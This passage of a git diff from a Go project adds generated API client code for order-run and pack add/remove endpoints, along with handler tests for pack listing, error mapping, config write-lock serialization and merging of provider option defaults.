+		headerParam0, err = runtime.StyleParamWithOptions("simple", false, "X-GC-Request", params.XGCRequest, runtime.StyleParamOptions{ParamLocation: runtime.ParamLocationHeader, Type: "string", Format: ""})
+		if err != nil {
+			return nil, err
+		}
+
+		req.Header.Set("X-GC-Request", headerParam0)
+
+	}
+
+	return req, nil
+}
+
 // NewDeleteV0CityByCityNamePatchesAgentByBaseRequest generates requests for DeleteV0CityByCityNamePatchesAgentByBase
 func NewDeleteV0CityByCityNamePatchesAgentByBaseRequest(server string, cityName string, base string, params *DeleteV0CityByCityNamePatchesAgentByBaseParams) (*http.Request, error) {
 	var err error
@@ -26538,6 +27172,11 @@ type ClientWithResponsesInterface interface {
 	// PostV0CityByCityNameOrderByNameEnableWithResponse request
 	PostV0CityByCityNameOrderByNameEnableWithResponse(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameEnableParams, reqEditors ...RequestEditorFn) (*PostV0CityByCityNameOrderByNameEnableResponse, error)
 
+	// PostV0CityByCityNameOrderByNameRunWithBodyWithResponse request with any body
+	PostV0CityByCityNameOrderByNameRunWithBodyWithResponse(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostV0CityByCityNameOrderByNameRunResponse, error)
+
+	PostV0CityByCityNameOrderByNameRunWithResponse(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, body PostV0CityByCityNameOrderByNameRunJSONRequestBody, reqEditors ...RequestEditorFn) (*PostV0CityByCityNameOrderByNameRunResponse, error)
+
 	// GetV0CityByCityNameOrdersWithResponse request
 	GetV0CityByCityNameOrdersWithResponse(ctx context.Context, cityName string, reqEditors ...RequestEditorFn) (*GetV0CityByCityNameOrdersResponse, error)
 
@@ -26553,6 +27192,14 @@ type ClientWithResponsesInterface interface {
 	// GetV0CityByCityNamePacksWithResponse request
 	GetV0CityByCityNamePacksWithResponse(ctx context.Context, cityName string, reqEditors ...RequestEditorFn) (*GetV0CityByCityNamePacksResponse, error)
 
+	// AddPackWithBodyWithResponse request with any body
+	AddPackWithBodyWithResponse(ctx context.Context, cityName string, params *AddPackParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AddPackResponse, error)
+
+	AddPackWithResponse(ctx context.Context, cityName string, params *AddPackParams, body AddPackJSONRequestBody, reqEditors ...RequestEditorFn) (*AddPackResponse, error)
+
+	// DeleteV0CityByCityNamePacksByNameWithResponse request
+	DeleteV0CityByCityNamePacksByNameWithResponse(ctx context.Context, cityName string, name string, params *DeleteV0CityByCityNamePacksByNameParams, reqEditors ...RequestEditorFn) (*DeleteV0CityByCityNamePacksByNameResponse, error)
+
 	// DeleteV0CityByCityNamePatchesAgentByBaseWithResponse request
 	DeleteV0CityByCityNamePatchesAgentByBaseWithResponse(ctx context.Context, cityName string, base string, params *DeleteV0CityByCityNamePatchesAgentByBaseParams, reqEditors ...RequestEditorFn) (*DeleteV0CityByCityNamePatchesAgentByBaseResponse, error)
 
@@ -28785,6 +29432,29 @@ func (r PostV0CityByCityNameOrderByNameEnableResponse) StatusCode() int {
 	return 0
 }
 
+type PostV0CityByCityNameOrderByNameRunResponse struct {
+	Body                          []byte
+	HTTPResponse                  *http.Response
+	JSON202                       *OrderRunOutputBody
+	ApplicationproblemJSONDefault *ErrorModel
+}
+
+// Status returns HTTPResponse.Status
+func (r PostV0CityByCityNameOrderByNameRunResponse) Status() string {
+	if r.HTTPResponse != nil {
+		return r.HTTPResponse.Status
+	}
+	return http.StatusText(0)
+}
+
+// StatusCode returns HTTPResponse.StatusCode
+func (r PostV0CityByCityNameOrderByNameRunResponse) StatusCode() int {
+	if r.HTTPResponse != nil {
+		return r.HTTPResponse.StatusCode
+	}
+	return 0
+}
+
 type GetV0CityByCityNameOrdersResponse struct {
 	Body                          []byte
 	HTTPResponse                  *http.Response
@@ -28900,6 +29570,52 @@ func (r GetV0CityByCityNamePacksResponse) StatusCode() int {
 	return 0
 }
 
+type AddPackResponse struct {
+	Body                          []byte
+	HTTPResponse                  *http.Response
+	JSON201                       *PackAddedOutputBody
+	ApplicationproblemJSONDefault *ErrorModel
+}
+
+// Status returns HTTPResponse.Status
+func (r AddPackResponse) Status() string {
+	if r.HTTPResponse != nil {
+		return r.HTTPResponse.Status
+	}
+	return http.StatusText(0)
+}
+
+// StatusCode returns HTTPResponse.StatusCode
+func (r AddPackResponse) StatusCode() int {
+	if r.HTTPResponse != nil {
+		return r.HTTPResponse.StatusCode
+	}
+	return 0
+}
+
+type DeleteV0CityByCityNamePacksByNameResponse struct {
+	Body                          []byte
+	HTTPResponse                  *http.Response
+	JSON200                       *PackRemovedOutputBody
+	ApplicationproblemJSONDefault *ErrorModel
+}
+
+// Status returns HTTPResponse.Status
+func (r DeleteV0CityByCityNamePacksByNameResponse) Status() string {
+	if r.HTTPResponse != nil {
+		return r.HTTPResponse.Status
+	}
+	return http.StatusText(0)
+}
+
+// StatusCode returns HTTPResponse.StatusCode
+func (r DeleteV0CityByCityNamePacksByNameResponse) StatusCode() int {
+	if r.HTTPResponse != nil {
+		return r.HTTPResponse.StatusCode
+	}
+	return 0
+}
+
 type DeleteV0CityByCityNamePatchesAgentByBaseResponse struct {
 	Body                          []byte
 	HTTPResponse                  *http.Response
@@ -31278,6 +31994,23 @@ func (c *ClientWithResponses) PostV0CityByCityNameOrderByNameEnableWithResponse(
 	return ParsePostV0CityByCityNameOrderByNameEnableResponse(rsp)
 }
 
+// PostV0CityByCityNameOrderByNameRunWithBodyWithResponse request with arbitrary body returning *PostV0CityByCityNameOrderByNameRunResponse
+func (c *ClientWithResponses) PostV0CityByCityNameOrderByNameRunWithBodyWithResponse(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostV0CityByCityNameOrderByNameRunResponse, error) {
+	rsp, err := c.PostV0CityByCityNameOrderByNameRunWithBody(ctx, cityName, name, params, contentType, body, reqEditors...)
+	if err != nil {
+		return nil, err
+	}
+	return ParsePostV0CityByCityNameOrderByNameRunResponse(rsp)
+}
+
+func (c *ClientWithResponses) PostV0CityByCityNameOrderByNameRunWithResponse(ctx context.Context, cityName string, name string, params *PostV0CityByCityNameOrderByNameRunParams, body PostV0CityByCityNameOrderByNameRunJSONRequestBody, reqEditors ...RequestEditorFn) (*PostV0CityByCityNameOrderByNameRunResponse, error) {
+	rsp, err := c.PostV0CityByCityNameOrderByNameRun(ctx, cityName, name, params, body, reqEditors...)
+	if err != nil {
+		return nil, err
+	}
+	return ParsePostV0CityByCityNameOrderByNameRunResponse(rsp)
+}
+
 // GetV0CityByCityNameOrdersWithResponse request returning *GetV0CityByCityNameOrdersResponse
 func (c *ClientWithResponses) GetV0CityByCityNameOrdersWithResponse(ctx context.Context, cityName string, reqEditors ...RequestEditorFn) (*GetV0CityByCityNameOrdersResponse, error) {
 	rsp, err := c.GetV0CityByCityNameOrders(ctx, cityName, reqEditors...)
@@ -31323,6 +32056,32 @@ func (c *ClientWithResponses) GetV0CityByCityNamePacksWithResponse(ctx context.C
 	return ParseGetV0CityByCityNamePacksResponse(rsp)
 }
 
+// AddPackWithBodyWithResponse request with arbitrary body returning *AddPackResponse
+func (c *ClientWithResponses) AddPackWithBodyWithResponse(ctx context.Context, cityName string, params *AddPackParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AddPackResponse, error) {
+	rsp, err := c.AddPackWithBody(ctx, cityName, params, contentType, body, reqEditors...)
+	if err != nil {
+		return nil, err
+	}
+	return ParseAddPackResponse(rsp)
+}
+
+func (c *ClientWithResponses) AddPackWithResponse(ctx context.Context, cityName string, params *AddPackParams, body AddPackJSONRequestBody, reqEditors ...RequestEditorFn) (*AddPackResponse, error) {
+	rsp, err := c.AddPack(ctx, cityName, params, body, reqEditors...)
+	if err != nil {
+		return nil, err
+	}
+	return ParseAddPackResponse(rsp)
+}
+
+// DeleteV0CityByCityNamePacksByNameWithResponse request returning *DeleteV0CityByCityNamePacksByNameResponse
+func (c *ClientWithResponses) DeleteV0CityByCityNamePacksByNameWithResponse(ctx context.Context, cityName string, name string, params *DeleteV0CityByCityNamePacksByNameParams, reqEditors ...RequestEditorFn) (*DeleteV0CityByCityNamePacksByNameResponse, error) {
+	rsp, err := c.DeleteV0CityByCityNamePacksByName(ctx, cityName, name, params, reqEditors...)
+	if err != nil {
+		return nil, err
+	}
+	return ParseDeleteV0CityByCityNamePacksByNameResponse(rsp)
+}
+
 // DeleteV0CityByCityNamePatchesAgentByBaseWithResponse request returning *DeleteV0CityByCityNamePatchesAgentByBaseResponse
 func (c *ClientWithResponses) DeleteV0CityByCityNamePatchesAgentByBaseWithResponse(ctx context.Context, cityName string, base string, params *DeleteV0CityByCityNamePatchesAgentByBaseParams, reqEditors ...RequestEditorFn) (*DeleteV0CityByCityNamePatchesAgentByBaseResponse, error) {
 	rsp, err := c.DeleteV0CityByCityNamePatchesAgentByBase(ctx, cityName, base, params, reqEditors...)
@@ -34866,6 +35625,39 @@ func ParsePostV0CityByCityNameOrderByNameEnableResponse(rsp *http.Response) (*Po
 	return response, nil
 }
 
+// ParsePostV0CityByCityNameOrderByNameRunResponse parses an HTTP response from a PostV0CityByCityNameOrderByNameRunWithResponse call
+func ParsePostV0CityByCityNameOrderByNameRunResponse(rsp *http.Response) (*PostV0CityByCityNameOrderByNameRunResponse, error) {
+	bodyBytes, err := io.ReadAll(rsp.Body)
+	defer func() { _ = rsp.Body.Close() }()
+	if err != nil {
+		return nil, err
+	}
+
+	response := &PostV0CityByCityNameOrderByNameRunResponse{
+		Body:         bodyBytes,
+		HTTPResponse: rsp,
+	}
+
+	switch {
+	case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 202:
+		var dest OrderRunOutputBody
+		if err := json.Unmarshal(bodyBytes, &dest); err != nil {
+			return nil, err
+		}
+		response.JSON202 = &dest
+
+	case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true:
+		var dest ErrorModel
+		if err := json.Unmarshal(bodyBytes, &dest); err != nil {
+			return nil, err
+		}
+		response.ApplicationproblemJSONDefault = &dest
+
+	}
+
+	return response, nil
+}
+
 // ParseGetV0CityByCityNameOrdersResponse parses an HTTP response from a GetV0CityByCityNameOrdersWithResponse call
 func ParseGetV0CityByCityNameOrdersResponse(rsp *http.Response) (*GetV0CityByCityNameOrdersResponse, error) {
 	bodyBytes, err := io.ReadAll(rsp.Body)
@@ -35031,6 +35823,72 @@ func ParseGetV0CityByCityNamePacksResponse(rsp *http.Response) (*GetV0CityByCity
 	return response, nil
 }
 
+// ParseAddPackResponse parses an HTTP response from a AddPackWithResponse call
+func ParseAddPackResponse(rsp *http.Response) (*AddPackResponse, error) {
+	bodyBytes, err := io.ReadAll(rsp.Body)
+	defer func() { _ = rsp.Body.Close() }()
+	if err != nil {
+		return nil, err
+	}
+
+	response := &AddPackResponse{
+		Body:         bodyBytes,
+		HTTPResponse: rsp,
+	}
+
+	switch {
+	case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 201:
+		var dest PackAddedOutputBody
+		if err := json.Unmarshal(bodyBytes, &dest); err != nil {
+			return nil, err
+		}
+		response.JSON201 = &dest
+
+	case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true:
+		var dest ErrorModel
+		if err := json.Unmarshal(bodyBytes, &dest); err != nil {
+			return nil, err
+		}
+		response.ApplicationproblemJSONDefault = &dest
+
+	}
+
+	return response, nil
+}
+
+// ParseDeleteV0CityByCityNamePacksByNameResponse parses an HTTP response from a DeleteV0CityByCityNamePacksByNameWithResponse call
+func ParseDeleteV0CityByCityNamePacksByNameResponse(rsp *http.Response) (*DeleteV0CityByCityNamePacksByNameResponse, error) {
+	bodyBytes, err := io.ReadAll(rsp.Body)
+	defer func() { _ = rsp.Body.Close() }()
+	if err != nil {
+		return nil, err
+	}
+
+	response := &DeleteV0CityByCityNamePacksByNameResponse{
+		Body:         bodyBytes,
+		HTTPResponse: rsp,
+	}
+
+	switch {
+	case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200:
+		var dest PackRemovedOutputBody
+		if err := json.Unmarshal(bodyBytes, &dest); err != nil {
+			return nil, err
+		}
+		response.JSON200 = &dest
+
+	case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true:
+		var dest ErrorModel
+		if err := json.Unmarshal(bodyBytes, &dest); err != nil {
+			return nil, err
+		}
+		response.ApplicationproblemJSONDefault = &dest
+
+	}
+
+	return response, nil
+}
+
 // ParseDeleteV0CityByCityNamePatchesAgentByBaseResponse parses an HTTP response from a DeleteV0CityByCityNamePatchesAgentByBaseWithResponse call
 func ParseDeleteV0CityByCityNamePatchesAgentByBaseResponse(rsp *http.Response) (*DeleteV0CityByCityNamePatchesAgentByBaseResponse, error) {
 	bodyBytes, err := io.ReadAll(rsp.Body)
diff --git a/internal/api/handler_beads_test.go b/internal/api/handler_beads_test.go
index 15ad53710f..ae1b1a581f 100644
--- a/internal/api/handler_beads_test.go
+++ b/internal/api/handler_beads_test.go
@@ -4,6 +4,7 @@ import (
 	"bytes"
 	"context"
 	"encoding/json"
+	"io"
 	"net/http"
 	"net/http/httptest"
 	"os"
@@ -15,6 +16,8 @@ import (
 
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/importsvc"
 	"github.com/gastownhall/gascity/internal/session"
 )
 
@@ -2152,15 +2155,20 @@ func TestBeadUpdateParentOpenAPISchemaAllowsNull(t *testing.T) {
 	}
 }
 
+// GET /packs lists the import-binding namespace (the same scope add/remove
+// operate on), via the packListImports seam, so the list shape matches the
+// forge-web {name, source, version} contract.
 func TestPackList(t *testing.T) {
-	state := newFakeState(t)
-	state.cfg.Packs = map[string]config.PackSource{
-		"gastown": {
-			Source: "https://github.com/example/gastown-pack",
-			Ref:    "v1.0.0",
-			Path:   "packs/gastown",
-		},
+	orig := packListImports
+	packListImports = func(_ fsys.FS, _ string) (map[string]config.Import, error) {
+		return map[string]config.Import{
+			"gastown": {Source: "https://github.com/example/gastown-pack", Version: "^1.0.0"},
+			"local":   {Source: "../packs/local"},
+		}, nil
 	}
+	defer func() { packListImports = orig }()
+
+	state := newFakeState(t)
 	h := newTestCityHandler(t, state)
 
 	req := httptest.NewRequest("GET", cityURL(state, "/packs"), nil)
@@ -2175,18 +2183,31 @@ func TestPackList(t *testing.T) {
 		Packs []packResponse `json:"packs"`
 	}
 	json.NewDecoder(rec.Body).Decode(&resp) //nolint:errcheck
-	if len(resp.Packs) != 1 {
-		t.Fatalf("packs count = %d, want 1", len(resp.Packs))
+	if len(resp.Packs) != 2 {
+		t.Fatalf("packs count = %d, want 2: %#v", len(resp.Packs), resp.Packs)
 	}
+	// Bindings are returned sorted by name.
 	if resp.Packs[0].Name != "gastown" {
-		t.Errorf("Name = %q, want %q", resp.Packs[0].Name, "gastown")
+		t.Errorf("Packs[0].Name = %q, want gastown", resp.Packs[0].Name)
 	}
 	if resp.Packs[0].Source != "https://github.com/example/gastown-pack" {
-		t.Errorf("Source = %q", resp.Packs[0].Source)
+		t.Errorf("Packs[0].Source = %q", resp.Packs[0].Source)
+	}
+	if resp.Packs[0].Version != "^1.0.0" {
+		t.Errorf("Packs[0].Version = %q, want ^1.0.0", resp.Packs[0].Version)
+	}
+	if resp.Packs[1].Name != "local" || resp.Packs[1].Version != "" {
+		t.Errorf("Packs[1] = %#v, want local with empty version", resp.Packs[1])
 	}
 }
 
 func TestPackListEmpty(t *testing.T) {
+	orig := packListImports
+	packListImports = func(_ fsys.FS, _ string) (map[string]config.Import, error) {
+		return map[string]config.Import{}, nil
+	}
+	defer func() { packListImports = orig }()
+
 	state := newFakeState(t)
 	h := newTestCityHandler(t, state)
 
@@ -2207,6 +2228,81 @@ func TestPackListEmpty(t *testing.T) {
 	}
 }
 
+// TestPackListAddRemoveShareNamespace is the regression for the red-team
+// MUST-FIX: a binding surfaced by add must be listable by GET and removable by
+// DELETE {name}. All three handlers are stubbed at the importsvc seam, and the
+// stub's in-memory binding store is the single namespace they share.
+func TestPackListAddRemoveShareNamespace(t *testing.T) {
+	bindings := map[string]config.Import{}
+
+	origList, origAdd, origRemove := packListImports, packAddImport, packRemoveImport
+	packListImports = func(_ fsys.FS, _ string) (map[string]config.Import, error) {
+		out := make(map[string]config.Import, len(bindings))
+		for k, v := range bindings {
+			out[k] = v
+		}
+		return out, nil
+	}
+	packAddImport = func(_ fsys.FS, _, source, name, version string) (*importsvc.AddResult, error) {
+		if name == "" {
+			name = "review"
+		}
+		bindings[name] = config.Import{Source: source, Version: version}
+		return &importsvc.AddResult{Name: name, Source: source, Version: version, GitBacked: true}, nil
+	}
+	packRemoveImport = func(_ fsys.FS, _, name string) (*importsvc.RemoveResult, error) {
+		if _, ok := bindings[name]; !ok {
+			return nil, importsvc.ErrNotFound
+		}
+		delete(bindings, name)
+		return &importsvc.RemoveResult{Name: name}, nil
+	}
+	defer func() {
+		packListImports, packAddImport, packRemoveImport = origList, origAdd, origRemove
+	}()
+
+	state := newFakeMutatorState(t)
+	h := newTestCityHandler(t, state)
+
+	doReq := func(method, path, body string) *httptest.ResponseRecorder {
+		var rdr io.Reader
+		if body != "" {
+			rdr = strings.NewReader(body)
+		}
+		req := httptest.NewRequest(method, cityURL(state, path), rdr)
+		req.Header.Set("X-GC-Request", "true")
+		rec := httptest.NewRecorder()
+		h.ServeHTTP(rec, req)
+		return rec
+	}
+
+	// POST a pack -> it must appear in the GET listing by the same binding name.
+	if rec := doReq("POST", "/packs", `{"source":"https://github.com/org/repo/tree/main/packs/review"}`); rec.Code != http.StatusCreated {
+		t.Fatalf("POST status = %d, want 201; body = %s", rec.Code, rec.Body.String())
+	}
+	rec := doReq("GET", "/packs", "")
+	if rec.Code != http.StatusOK {
+		t.Fatalf("GET status = %d, want 200", rec.Code)
+	}
+	var resp struct {
+		Packs []packResponse `json:"packs"`
+	}
+	json.NewDecoder(rec.Body).Decode(&resp) //nolint:errcheck
+	if len(resp.Packs) != 1 || resp.Packs[0].Name != "review" {
+		t.Fatalf("GET after POST = %#v, want one binding named review", resp.Packs)
+	}
+
+	// DELETE by that listed name -> the GET listing is empty again.
+	if rec := doReq("DELETE", "/packs/review", ""); rec.Code != http.StatusOK {
+		t.Fatalf("DELETE status = %d, want 200; body = %s", rec.Code, rec.Body.String())
+	}
+	rec = doReq("GET", "/packs", "")
+	json.NewDecoder(rec.Body).Decode(&resp) //nolint:errcheck
+	if len(resp.Packs) != 0 {
+		t.Fatalf("GET after DELETE = %#v, want empty", resp.Packs)
+	}
+}
+
 func TestBeadPrefixAPI(t *testing.T) {
 	tests := []struct {
 		id   string
diff --git a/internal/api/handler_extmsg.go b/internal/api/handler_extmsg.go
index bc6fe0e759..4743e09374 100644
--- a/internal/api/handler_extmsg.go
+++ b/internal/api/handler_extmsg.go
@@ -110,7 +110,7 @@ func (s *Server) extmsgSessionHandleForResolvedID(resolvedID, fallback string) s
 	if store.Store == nil {
 		return extmsgHandleLabel(fallback)
 	}
-	source, ok := session.NewInfoStore(store).ExtmsgHandleSource(resolvedID)
+	source, ok := session.NewStore(store).ExtmsgHandleSource(resolvedID)
 	if !ok || source == "" {
 		return extmsgHandleLabel(fallback)
 	}
diff --git a/internal/api/handler_packs.go b/internal/api/handler_packs.go
index 03eb3c72e7..284a85c0c3 100644
--- a/internal/api/handler_packs.go
+++ b/internal/api/handler_packs.go
@@ -1,8 +1,12 @@
 package api
 
+// packResponse is the per-binding shape returned by GET /v0/city/{cityName}/packs.
+// It mirrors the import model the add/remove handlers operate on — a binding
+// name plus its durable source and optional version constraint — so what a
+// client lists is exactly what it can add and remove (the forge-web UI contract
+// is {name, source, version}).
 type packResponse struct {
-	Name   string `json:"name"`
-	Source string `json:"source,omitempty"`
-	Ref    string `json:"ref,omitempty"`
-	Path   string `json:"path,omitempty"`
+	Name    string `json:"name"`
+	Source  string `json:"source,omitempty"`
+	Version string `json:"version,omitempty"`
 }
diff --git a/internal/api/handler_packs_write_test.go b/internal/api/handler_packs_write_test.go
new file mode 100644
index 0000000000..21f2746ca4
--- /dev/null
+++ b/internal/api/handler_packs_write_test.go
@@ -0,0 +1,144 @@
+package api
+
+import (
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/importsvc"
+)
+
+// The pack write handlers delegate to importsvc and only map its typed errors to
+// HTTP, so the seams are stubbed here — no real source resolve / clone happens.
+
+func TestHandlePackAdd(t *testing.T) {
+	for _, tc := range []struct {
+		name string
+		add  func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error)
+		want int
+	}{
+		{"created", func(_ fsys.FS, _, source, _, version string) (*importsvc.AddResult, error) {
+			return &importsvc.AddResult{Name: "review", Source: source, Version: version, GitBacked: true}, nil
+		}, http.StatusCreated},
+		{"already imported -> 409", func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+			return nil, importsvc.ErrImportExists
+		}, http.StatusConflict},
+		{"invalid source -> 400", func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+			return nil, importsvc.ErrInvalidSource
+		}, http.StatusBadRequest},
+		{"name derive failed -> 400", func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+			return nil, importsvc.ErrNameDerive
+		}, http.StatusBadRequest},
+		{"reserved prefix -> 400", func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+			return nil, importsvc.ErrReservedPrefix
+		}, http.StatusBadRequest},
+		{"version resolve failed -> 502", func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+			return nil, importsvc.ErrVersionResolveFailed
+		}, http.StatusBadGateway},
+		{"install failed -> 500", func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+			return nil, importsvc.ErrInstallFailed
+		}, http.StatusInternalServerError},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			orig := packAddImport
+			packAddImport = tc.add
+			defer func() { packAddImport = orig }()
+
+			fs := newFakeMutatorState(t)
+			h := newTestCityHandler(t, fs)
+			req := httptest.NewRequest("POST", cityURL(fs, "/packs"),
+				strings.NewReader(`{"source":"https://github.com/org/repo/tree/main/packs/review"}`))
+			req.Header.Set("X-GC-Request", "true")
+			w := httptest.NewRecorder()
+			h.ServeHTTP(w, req)
+
+			if w.Code != tc.want {
+				t.Fatalf("status = %d, want %d; body = %s", w.Code, tc.want, w.Body.String())
+			}
+			if tc.want == http.StatusCreated && !strings.Contains(w.Body.String(), `"review"`) {
+				t.Errorf("created body missing binding name: %s", w.Body.String())
+			}
+		})
+	}
+}
+
+func TestHandlePackRemove(t *testing.T) {
+	for _, tc := range []struct {
+		name   string
+		remove func(fsys.FS, string, string) (*importsvc.RemoveResult, error)
+		want   int
+	}{
+		{"ok", func(_ fsys.FS, _, name string) (*importsvc.RemoveResult, error) {
+			return &importsvc.RemoveResult{Name: name}, nil
+		}, http.StatusOK},
+		{"not found -> 404", func(fsys.FS, string, string) (*importsvc.RemoveResult, error) {
+			return nil, importsvc.ErrNotFound
+		}, http.StatusNotFound},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			orig := packRemoveImport
+			packRemoveImport = tc.remove
+			defer func() { packRemoveImport = orig }()
+
+			fs := newFakeMutatorState(t)
+			h := newTestCityHandler(t, fs)
+			req := httptest.NewRequest("DELETE", cityURL(fs, "/packs/review"), nil)
+			req.Header.Set("X-GC-Request", "true")
+			w := httptest.NewRecorder()
+			h.ServeHTTP(w, req)
+
+			if w.Code != tc.want {
+				t.Fatalf("status = %d, want %d; body = %s", w.Code, tc.want, w.Body.String())
+			}
+		})
+	}
+}
+
+// TestPackAddRemoveSerializeThroughConfigWriteLock is the regression for the
+// concurrency finding: the pack add/remove handlers must route their mutation
+// through the per-city config write lock (ConfigWriteSerializer), so they can
+// not interleave with each other or with configedit mutations of the same city.
+func TestPackAddRemoveSerializeThroughConfigWriteLock(t *testing.T) {
+	restore := stubPackSourceResolver(t, map[string][]net.IP{
+		"github.com": {net.ParseIP("140.82.112.3")},
+	})
+	defer restore()
+
+	origAdd, origRemove := packAddImport, packRemoveImport
+	packAddImport = func(fsys.FS, string, string, string, string) (*importsvc.AddResult, error) {
+		return &importsvc.AddResult{Name: "review", Source: "https://github.com/org/repo", GitBacked: true}, nil
+	}
+	packRemoveImport = func(fsys.FS, string, string) (*importsvc.RemoveResult, error) {
+		return &importsvc.RemoveResult{Name: "review"}, nil
+	}
+	defer func() { packAddImport, packRemoveImport = origAdd, origRemove }()
+
+	state := newFakeMutatorState(t)
+	h := newTestCityHandler(t, state)
+
+	addReq := httptest.NewRequest("POST", cityURL(state, "/packs"),
+		strings.NewReader(`{"source":"https://github.com/org/repo/tree/main/packs/review"}`))
+	addReq.Header.Set("X-GC-Request", "true")
+	addRec := httptest.NewRecorder()
+	h.ServeHTTP(addRec, addReq)
+	if addRec.Code != http.StatusCreated {
+		t.Fatalf("add status = %d, want %d; body=%s", addRec.Code, http.StatusCreated, addRec.Body.String())
+	}
+	if got := state.serializeCalls.Load(); got != 1 {
+		t.Fatalf("add routed through config write lock %d times, want 1", got)
+	}
+
+	delReq := httptest.NewRequest("DELETE", cityURL(state, "/packs/review"), nil)
+	delReq.Header.Set("X-GC-Request", "true")
+	delRec := httptest.NewRecorder()
+	h.ServeHTTP(delRec, delReq)
+	if delRec.Code != http.StatusOK {
+		t.Fatalf("remove status = %d, want %d; body=%s", delRec.Code, http.StatusOK, delRec.Body.String())
+	}
+	if got := state.serializeCalls.Load(); got != 2 {
+		t.Fatalf("remove routed through config write lock; total calls = %d, want 2", got)
+	}
+}
diff --git a/internal/api/handler_provider_crud_test.go b/internal/api/handler_provider_crud_test.go
index ace9d75aec..7b0c427282 100644
--- a/internal/api/handler_provider_crud_test.go
+++ b/internal/api/handler_provider_crud_test.go
@@ -61,6 +61,59 @@ func TestHandleProviderCreate_PersistsACPTransportOverrides(t *testing.T) {
 	}
 }
 
+func TestHandleProviderCreate_PersistsOptionDefaults(t *testing.T) {
+	fs := newFakeMutatorState(t)
+	srv := New(fs)
+	h := newTestCityHandlerWith(t, fs, srv)
+
+	req := newPostRequest(cityURL(fs, "/providers"), strings.NewReader(
+		`{"name":"custom-model","command":"custom","option_defaults":{"model":"x"}}`))
+	rec := httptest.NewRecorder()
+	h.ServeHTTP(rec, req)
+
+	if rec.Code != http.StatusCreated {
+		t.Fatalf("status = %d, want %d; body=%s", rec.Code, http.StatusCreated, rec.Body.String())
+	}
+
+	spec, ok := fs.cfg.Providers["custom-model"]
+	if !ok {
+		t.Fatal("provider custom-model not created")
+	}
+	if spec.OptionDefaults["model"] != "x" {
+		t.Fatalf("OptionDefaults[model] = %q, want %q", spec.OptionDefaults["model"], "x")
+	}
+}
+
+func TestHandleProviderUpdate_OptionDefaultsMergeNotReplace(t *testing.T) {
+	fs := newFakeMutatorState(t)
+	fs.cfg.Providers["custom"] = config.ProviderSpec{
+		Command:        "custom",
+		OptionDefaults: map[string]string{"model": "x", "permission_mode": "unrestricted"},
+	}
+	srv := New(fs)
+	h := newTestCityHandlerWith(t, fs, srv)
+
+	// Edit only the model; permission_mode must survive.
+	req := httptest.NewRequest(http.MethodPatch, cityURL(fs, "/provider/custom"), strings.NewReader(
+		`{"option_defaults":{"model":"y"}}`))
+	req.Header.Set("X-GC-Request", "true")
+	rec := httptest.NewRecorder()
+	h.ServeHTTP(rec, req)
+
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status = %d, want %d; body=%s", rec.Code, http.StatusOK, rec.Body.String())
+	}
+
+	spec := fs.cfg.Providers["custom"]
+	if spec.OptionDefaults["model"] != "y" {
+		t.Fatalf("OptionDefaults[model] = %q, want %q", spec.OptionDefaults["model"], "y")
+	}
+	if spec.OptionDefaults["permission_mode"] != "unrestricted" {
+		t.Fatalf("OptionDefaults[permission_mode] = %q, want %q (merge, not replace)",
+			spec.OptionDefaults["permission_mode"], "unrestricted")
+	}
+}
+
 func TestHandleProviderUpdate_UpdatesInheritanceFields(t *testing.T) {
 	fs := newFakeMutatorState(t)
 	fs.cfg.Providers["custom"] = fs.cfg.Providers["test-agent"]
diff --git a/internal/api/handler_session_create.go b/internal/api/handler_session_create.go
index 53a3004d61..143f399ca6 100644
--- a/internal/api/handler_session_create.go
+++ b/internal/api/handler_session_create.go
@@ -229,7 +229,7 @@ func (s *Server) handleSessionCreate(w http.ResponseWriter, r *http.Request) {
 
 	// Auto-generate a title from the user's message if no explicit title was provided.
 	titleProvider := s.resolveTitleProvider()
-	MaybeGenerateTitleAsync(store.Store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
+	MaybeGenerateTitleAsync(store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
 		fmt.Fprintf(os.Stderr, "session %s: "+format+"\n", append([]any{info.ID}, args...)...)
 	})
 
@@ -401,7 +401,7 @@ func (s *Server) createProviderSession(w http.ResponseWriter, r *http.Request, s
 
 	// Auto-generate a title from the user's message if no explicit title was provided.
 	titleProvider := s.resolveTitleProvider()
-	MaybeGenerateTitleAsync(store.Store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
+	MaybeGenerateTitleAsync(store, info.ID, body.Title, body.Message, titleProvider, info.WorkDir, func(format string, args ...any) {
 		fmt.Fprintf(os.Stderr, "session %s: "+format+"\n", append([]any{info.ID}, args...)...)
 	})
 
diff --git a/internal/api/handler_status.go b/internal/api/handler_status.go
